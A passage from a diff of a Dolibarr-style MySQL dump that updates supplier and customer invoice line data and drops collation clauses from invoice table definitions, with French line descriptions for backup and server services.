Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(50,18,NULL,NULL,NULL,NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(51,19,NULL,NULL,NULL,NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(52,19,NULL,NULL,NULL,NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(53,20,NULL,NULL,NULL,NULL,'Chips',20.00000000,23.92000000,10,0,NULL,19.600,'',0.000,'0',0.000,'0',200.00000000,39.20000000,0.00000000,0.00000000,239.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,0,'EUR',20.00000000,200.00000000,39.20000000,239.20000000),(54,21,NULL,1,'aaa',NULL,'A beatifull pink dress',100.00000000,90.00000000,5,10,NULL,0.000,'',0.000,'0',0.000,'0',450.00000000,0.00000000,0.00000000,0.00000000,450.00000000,0,NULL,NULL,0,NULL,0,0,1,NULL,1,'EUR',100.00000000,450.00000000,0.00000000,450.00000000),(78,22,NULL,1,'BK01',NULL,'A beatifull pink dress',70.00000000,78.75000000,5,0,NULL,12.500,'',0.000,'0',0.000,'0',350.00000000,43.75000000,0.00000000,0.00000000,393.75000000,0,NULL,NULL,0,NULL,0,0,2,NULL,1,'EUR',70.00000000,350.00000000,43.75000000,393.75000000),(83,27,NULL,1,'BK01','Pink dress','A beatifull pink dress',-70.00000000,-78.75000000,5,0,NULL,12.500,'',0.000,'0',0.000,'0',-350.00000000,-43.75000000,0.00000000,0.00000000,-393.75000000,0,NULL,NULL,0,NULL,0,0,2,NULL,1,'EUR',-70.00000000,-350.00000000,-43.75000000,-393.75000000),(84,28,NULL,1,'BK01',NULL,'A beatifull pink dress',79.16667000,89.06000000,1,0,NULL,12.500,'',0.000,'0',0.000,'0',79.17000000,9.89000000,0.00000000,0.00000000,89.06000000,0,NULL,NULL,0,NULL,0,0,1,NULL,1,'EUR',79.16667000,79.17000000,9.89000000,89.06000000),(86,30,NULL,NULL,'',NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',-1.00000000,-1.20000000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',-1.00000000,-0.20000000,0.00000000,0.00000000,-1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,0,'',0.00000000,0.00000000,0.00000000,0.00000000),(87,30,NULL,NULL,'',NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',-25.00000000,-29.90000000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',-25.00000000,-4.90000000,0.00000000,0.00000000,-29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,0,'',0.00000000,0.00000000,0.00000000,0.00000000),(89,22,NULL,2,'BKPEARPIE',NULL,'',7.00000000,7.00000000,1,0,NULL,0.000,'',0.000,'0',0.000,'0',7.00000000,0.00000000,0.00000000,0.00000000,7.00000000,0,NULL,NULL,0,NULL,0,0,3,NULL,1,'EUR',7.00000000,7.00000000,0.00000000,7.00000000); +INSERT INTO `llx_facture_fourn_det` VALUES (44,16,NULL,NULL,NULL,NULL,'ref :sd.loc.sp.512.6
6 mois - Location de SuperPlan avec la connexion 512kbs
Du 11/04/2003 à 11/10/2003',414.00000000,495.14400000,1,0,NULL,19.600,'',0.000,'',0.000,'',414.00000000,81.14000000,0.00000000,0.00000000,495.14000000,0,NULL,NULL,0,NULL,105,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(45,16,NULL,NULL,NULL,NULL,'ref :sd.loc.sp.512.6
6 mois - Location de SuperPlan avec la connexion 512kbs
Du 11/10/2003 à 11/04/2004',414.00000000,495.14400000,1,0,NULL,19.600,'',0.000,'',0.000,'',414.00000000,81.14000000,0.00000000,0.00000000,495.14000000,0,NULL,NULL,0,NULL,104,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(46,16,NULL,NULL,NULL,NULL,'ref :sd.installation.annuel
Frais de mise en service d\'un serveur dédié pour un paiement annuel
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,105,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(47,17,NULL,NULL,NULL,NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,106,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(48,17,NULL,NULL,NULL,NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,103,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(49,18,NULL,NULL,NULL,NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(50,18,NULL,NULL,NULL,NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(51,19,NULL,NULL,NULL,NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(52,19,NULL,NULL,NULL,NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(53,20,NULL,NULL,NULL,NULL,'Chips',20.00000000,23.92000000,10,0,NULL,19.600,'',0.000,'0',0.000,'0',200.00000000,39.20000000,0.00000000,0.00000000,239.20000000,0,NULL,NULL,0,NULL,323,0,0,NULL,0,'EUR',20.00000000,200.00000000,39.20000000,239.20000000),(54,21,NULL,1,'aaa',NULL,'A beatifull pink dress',100.00000000,90.00000000,5,10,NULL,0.000,'',0.000,'0',0.000,'0',450.00000000,0.00000000,0.00000000,0.00000000,450.00000000,0,NULL,NULL,0,NULL,323,0,1,NULL,1,'EUR',100.00000000,450.00000000,0.00000000,450.00000000),(78,22,NULL,1,'BK01',NULL,'A beatifull pink dress',70.00000000,84.00000000,5,0,NULL,20.000,'',0.000,'',0.000,'',350.00000000,70.00000000,0.00000000,0.00000000,420.00000000,0,NULL,NULL,0,NULL,323,0,2,NULL,1,'EUR',70.00000000,350.00000000,70.00000000,420.00000000),(83,27,NULL,1,'BK01','Pink dress','A beatifull pink dress',-70.00000000,-78.75000000,5,0,NULL,12.500,'',0.000,'0',0.000,'0',-350.00000000,-43.75000000,0.00000000,0.00000000,-393.75000000,0,NULL,NULL,0,NULL,323,0,2,NULL,1,'EUR',-70.00000000,-350.00000000,-43.75000000,-393.75000000),(84,28,NULL,1,'BK01',NULL,'A beatifull pink dress',79.16667000,89.06000000,1,0,NULL,12.500,'',0.000,'0',0.000,'0',79.17000000,9.89000000,0.00000000,0.00000000,89.06000000,0,NULL,NULL,0,NULL,323,0,1,NULL,1,'EUR',79.16667000,79.17000000,9.89000000,89.06000000),(86,30,NULL,NULL,'',NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',-1.00000000,-1.20000000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',-1.00000000,-0.20000000,0.00000000,0.00000000,-1.20000000,0,NULL,NULL,0,NULL,325,0,0,NULL,0,'',0.00000000,0.00000000,0.00000000,0.00000000),(87,30,NULL,NULL,'',NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',-25.00000000,-29.90000000,1,0,NULL,19.600,'',0.000,'0',0.000,'0',-25.00000000,-4.90000000,0.00000000,0.00000000,-29.90000000,0,NULL,NULL,0,NULL,325,0,0,NULL,0,'',0.00000000,0.00000000,0.00000000,0.00000000),(89,22,NULL,2,'BKPEARPIE',NULL,'',7.00000000,7.70000000,1,0,NULL,10.000,'',0.000,'',0.000,'',7.00000000,0.70000000,0.00000000,0.00000000,7.70000000,0,NULL,NULL,0,NULL,324,0,3,NULL,1,'EUR',7.00000000,7.00000000,0.70000000,7.70000000),(90,22,NULL,NULL,'',NULL,'aaa',1.00000000,1.06000000,1,0,NULL,5.500,'aaa',0.000,'0',0.000,'0',1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0,0,4,NULL,1,'EUR',1.00000000,1.00000000,0.06000000,1.06000000),(91,22,NULL,NULL,'',NULL,'aa',2.00000000,2.11000000,1,0,NULL,5.500,'bbb',0.000,'0',0.000,'0',2.00000000,0.11000000,0.00000000,0.00000000,2.11000000,1,NULL,NULL,0,NULL,0,0,5,NULL,1,'EUR',2.00000000,2.00000000,0.11000000,2.11000000),(92,22,NULL,NULL,'',NULL,'1',1.00000000,1.06000000,1,0,NULL,5.500,'aaa',0.000,'0',0.000,'0',1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0,0,6,NULL,1,'EUR',1.00000000,1.00000000,0.06000000,1.06000000),(93,32,NULL,NULL,'aaa',NULL,'fsdfds',50.00000000,60.00000000,1,0,NULL,20.000,'',0.000,'',0.000,'',50.00000000,10.00000000,0.00000000,0.00000000,60.00000000,0,NULL,NULL,0,NULL,0,0,1,NULL,1,'EUR',50.00000000,50.00000000,10.00000000,60.00000000),(96,34,NULL,NULL,'',NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,1.00000000,1.00000000,0.20000000,1.20000000),(97,34,NULL,NULL,'',NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,25.00000000,25.00000000,4.90000000,29.90000000),(98,36,NULL,NULL,'',NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,1.00000000,1.00000000,0.20000000,1.20000000),(99,36,NULL,NULL,'',NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,25.00000000,25.00000000,4.90000000,29.90000000),(100,38,NULL,NULL,'',NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,1.00000000,1.00000000,0.20000000,1.20000000),(101,38,NULL,NULL,'',NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,25.00000000,25.00000000,4.90000000,29.90000000),(102,39,NULL,NULL,'',NULL,'ref :bk.full250.creation
Création du compte backup ftp 250Mo.
',1.00000000,1.19600000,1,0,NULL,19.600,'',0.000,'',0.000,'',1.00000000,0.20000000,0.00000000,0.00000000,1.20000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,1.00000000,1.00000000,0.20000000,1.20000000),(103,39,NULL,NULL,'',NULL,'ref :bk.full250.12
Redevance pour un backup de 250Mo sur 12 mois
',25.00000000,29.90000000,1,0,NULL,19.600,'',0.000,'',0.000,'',25.00000000,4.90000000,0.00000000,0.00000000,29.90000000,0,NULL,NULL,0,NULL,0,0,0,NULL,NULL,NULL,25.00000000,25.00000000,4.90000000,29.90000000); /*!40000 ALTER TABLE `llx_facture_fourn_det` ENABLE KEYS */; UNLOCK TABLES; @@ -7026,7 +6306,7 @@ CREATE TABLE `llx_facture_fourn_det_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_facture_fourn_det_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7053,20 +6333,20 @@ CREATE TABLE `llx_facture_fourn_det_rec` ( `fk_facture_fourn` int(11) NOT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `ref` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(50) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `pu_ht` double(24,8) DEFAULT NULL, `pu_ttc` double(24,8) DEFAULT NULL, `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `fk_remise_except` int(11) DEFAULT NULL, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `tva_tx` double(7,4) DEFAULT NULL, `localtax1_tx` double(7,4) DEFAULT 0.0000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax1_type` varchar(10) DEFAULT NULL, `localtax2_tx` double(7,4) DEFAULT 0.0000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `localtax2_type` varchar(10) DEFAULT NULL, `total_ht` double(24,8) DEFAULT NULL, `total_tva` double(24,8) DEFAULT NULL, `total_localtax1` double(24,8) DEFAULT 0.00000000, @@ -7079,11 +6359,11 @@ CREATE TABLE `llx_facture_fourn_det_rec` ( `special_code` int(10) unsigned DEFAULT 0, `rang` int(11) DEFAULT 0, `fk_unit` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -7114,7 +6394,7 @@ CREATE TABLE `llx_facture_fourn_det_rec_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `llx_facture_fourn_det_rec_extrafields` (`fk_object`), KEY `idx_facture_fourn_det_rec_extrafields` (`fk_object`) @@ -7141,7 +6421,7 @@ CREATE TABLE `llx_facture_fourn_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_facture_fourn_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7165,17 +6445,17 @@ DROP TABLE IF EXISTS `llx_facture_fourn_rec`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_facture_fourn_rec` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `titre` varchar(200) COLLATE utf8mb3_unicode_ci NOT NULL, - `ref_supplier` varchar(180) COLLATE utf8mb3_unicode_ci NOT NULL, + `titre` varchar(200) NOT NULL, + `ref_supplier` varchar(180) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_soc` int(11) NOT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `suspended` int(11) DEFAULT 0, - `libelle` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `libelle` varchar(255) DEFAULT NULL, `amount` double(24,8) NOT NULL DEFAULT 0.00000000, `remise` double DEFAULT 0, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1` double(24,8) DEFAULT 0.00000000, `localtax2` double(24,8) DEFAULT 0.00000000, `total_ht` double(24,8) DEFAULT 0.00000000, @@ -7188,18 +6468,18 @@ CREATE TABLE `llx_facture_fourn_rec` ( `fk_cond_reglement` int(11) DEFAULT NULL, `fk_mode_reglement` int(11) DEFAULT NULL, `date_lim_reglement` date DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `modelpdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `modelpdf` varchar(255) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, `usenewprice` int(11) DEFAULT 0, `frequency` int(11) DEFAULT NULL, - `unit_frequency` varchar(2) COLLATE utf8mb3_unicode_ci DEFAULT 'm', + `unit_frequency` varchar(2) DEFAULT 'm', `date_when` datetime DEFAULT NULL, `date_last_gen` datetime DEFAULT NULL, `nb_gen_done` int(11) DEFAULT NULL, @@ -7239,7 +6519,7 @@ CREATE TABLE `llx_facture_fourn_rec_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_facture_fourn_rec_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7263,7 +6543,7 @@ DROP TABLE IF EXISTS `llx_facture_rec`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_facture_rec` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `titre` varchar(200) COLLATE utf8mb3_unicode_ci NOT NULL, + `titre` varchar(200) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_soc` int(11) NOT NULL, `datec` datetime DEFAULT NULL, @@ -7281,11 +6561,11 @@ CREATE TABLE `llx_facture_rec` ( `fk_cond_reglement` int(11) NOT NULL DEFAULT 1, `fk_mode_reglement` int(11) DEFAULT 0, `date_lim_reglement` date DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `modelpdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `last_gen` varchar(7) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `unit_frequency` varchar(2) COLLATE utf8mb3_unicode_ci DEFAULT 'd', + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `modelpdf` varchar(255) DEFAULT NULL, + `last_gen` varchar(7) DEFAULT NULL, + `unit_frequency` varchar(2) DEFAULT 'd', `date_when` datetime DEFAULT NULL, `date_last_gen` datetime DEFAULT NULL, `nb_gen_done` int(11) DEFAULT NULL, @@ -7297,14 +6577,14 @@ CREATE TABLE `llx_facture_rec` ( `generate_pdf` int(11) DEFAULT 1, `fk_account` int(11) DEFAULT 0, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, `fk_user_modif` int(11) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `suspended` int(11) DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `idx_facture_rec_uk_titre` (`titre`,`entity`), @@ -7338,7 +6618,9 @@ CREATE TABLE `llx_facture_rec_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `discountcode` varchar(255) DEFAULT NULL, + `commentonqty` text DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_facture_rec_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7365,14 +6647,14 @@ CREATE TABLE `llx_facturedet` ( `fk_facture` int(11) NOT NULL, `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `tva_tx` double(6,3) DEFAULT NULL, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `remise` double DEFAULT 0, @@ -7394,19 +6676,19 @@ CREATE TABLE `llx_facturedet` ( `special_code` int(10) unsigned DEFAULT 0, `rang` int(11) DEFAULT 0, `fk_contract_line` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `situation_percent` double DEFAULT 100, `fk_prev_id` int(11) DEFAULT NULL, `fk_unit` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_fk_remise_except` (`fk_remise_except`,`fk_facture`), KEY `idx_facturedet_fk_facture` (`fk_facture`), @@ -7415,7 +6697,7 @@ CREATE TABLE `llx_facturedet` ( KEY `idx_facturedet_fk_code_ventilation` (`fk_code_ventilation`), CONSTRAINT `fk_facturedet_fk_facture` FOREIGN KEY (`fk_facture`) REFERENCES `llx_facture` (`rowid`), CONSTRAINT `fk_facturedet_fk_unit` FOREIGN KEY (`fk_unit`) REFERENCES `llx_c_units` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=1093 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=1113 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -7424,7 +6706,7 @@ CREATE TABLE `llx_facturedet` ( LOCK TABLES `llx_facturedet` WRITE; /*!40000 ALTER TABLE `llx_facturedet` DISABLE KEYS */; -INSERT INTO `llx_facturedet` VALUES (3,2,NULL,3,NULL,'Service S1',0.000,'',0.000,'',0.000,'',1,10,4,NULL,40.00000000,36.00000000,36.00000000,0.00000000,0.00000000,0.00000000,36.00000000,1,'2012-07-10 00:00:00',NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(4,2,NULL,NULL,NULL,'Abonnement annuel assurance',1.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,0.10000000,0.00000000,0.00000000,10.10000000,0,'2012-07-10 00:00:00','2013-07-10 00:00:00',0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(11,3,NULL,4,NULL,'afsdfsdfsdfsdf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(12,3,NULL,NULL,NULL,'dfdfd',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10.00000000,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(13,5,NULL,4,NULL,'Decapsuleur',12.500,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,5.00000000,0.63000000,0.00000000,0.00000000,5.63000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(14,6,NULL,4,NULL,'Decapsuleur',19.600,'',0.000,'',0.000,'',1,0,0,NULL,5.00000000,5.00000000,5.00000000,0.98000000,0.00000000,0.00000000,5.98000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(21,8,NULL,NULL,NULL,'dddd',0.000,'',0.000,'